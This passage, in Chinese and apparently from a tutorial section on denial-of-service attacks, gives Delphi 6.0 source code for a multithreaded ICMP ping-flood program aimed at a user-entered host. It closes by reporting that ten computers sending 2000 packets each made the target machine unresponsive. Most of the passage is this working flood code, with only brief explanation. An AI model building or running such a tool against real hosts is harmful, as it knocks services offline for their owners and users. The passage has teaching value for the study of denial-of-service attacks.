(二)DoS攻击示例
我使用Delphi6.0 编写了下面这段程序, 这是一个简单的Ping攻击的例子。可以使用多线程和单线程向目标主机发送Ping命令实施攻击。
function MyThreadFunc(P:pointer ):Longint;
var icmp: TIdIcmpClient;
begin
ICMP := TIdIcmpClient.Create(nil);
ICMP.Host := form1.Edit1.Text ;
ICMP.ReceiveTimeout := 500;
ICMP.OnReply := Form1.ICMPReply;
ICMP.Ping;
end;
procedure TForm1.BtnUsedThreadClick(Sender: TObject);
var
hThread:Thandle;
ThreadID:DWord;
i:integer ;
begin
//创建线程,同时线程函数被调用
for i := 1 to spinedit1.Value do
begin
hthread:=CreateThread(nil,0,@MyThreadfunc,nil,0,ThreadID) ;
end;
if hThread=0 then
messagebox(Handle,'Didn''t CreateaThread',nil,MB_OK);
end;
procedure TForm1.ICMPReply(ASender: TComponent;
const AReplyStatus: TReplyStatus);
var i:integer;
Vreplytype:TReplyStatusTypes;
Begin
Vreplytype:= AReplyStatus.ReplyStatusType ;
case Vreplytype of
rsEcho : listbox1.Items.Add( '收到目标主机的应答');
rsError : listbox1.Items.Add( '数据包错误');
rsTimeOut : listbox1.Items.Add( '发送数据包超时');
rsErrorUnreachable : listbox1.Items.Add( '该数据包无法送达目标主机');
rsErrorTTLExceeded : listbox1.Items.Add( '在传送数据包时,超过其生存时间,该数据包被丢弃');
end;
listbox1.Items.Add('发送应答的主机IP地址: '+AReplyStatus.FromIpAddress);
listbox1.Items.Add('收到的字节数:'+inttostr(AReplyStatus.BytesReceived));
listbox1.Items.Add('生存时间(TTL):'+inttostr(AReplyStatus.TimeToLive));
listbox1.Items.Add('ICMP报文类型代码: '+inttostr(AReplyStatus.MsgType));
listbox1.Items.Add('ICMP报文标识: '+inttostr(AReplyStatus.SequenceId));
listbox1.Items.Add('ICMP报文往返时间(ms): '+inttostr(AReplyStatus.MsRoundTripTime));
listbox1.Items.Add('*******');
end;
procedure TForm1.BtnPingClick(Sender: TObject);
var i:integer;
begin
form1.ICMP.Host:=form1.Edit1.Text ;
form1.ICMP.ReceiveTimeout:=500;
for i:=1 to spinedit1.value do form1.ICMP.Ping;
end;
procedure TForm1.BtnClearTextClick(Sender: TObject);
begin
listbox1.Items.Clear;
end;
end.
当我使用10台电脑,用多线程的方式,同时向一台被攻击电脑发送2000个数据包时,被攻击电脑将无法响应其他程序的请求;这正是由于攻击者在很短的时间里发送了大量的数据包,导致被攻击的电脑资源耗尽。而当我使用单线程的方式发送5000个数据包,被攻击的电脑都没有异常发生,这说明攻击者发送的数据包还没有形成ICMP风暴。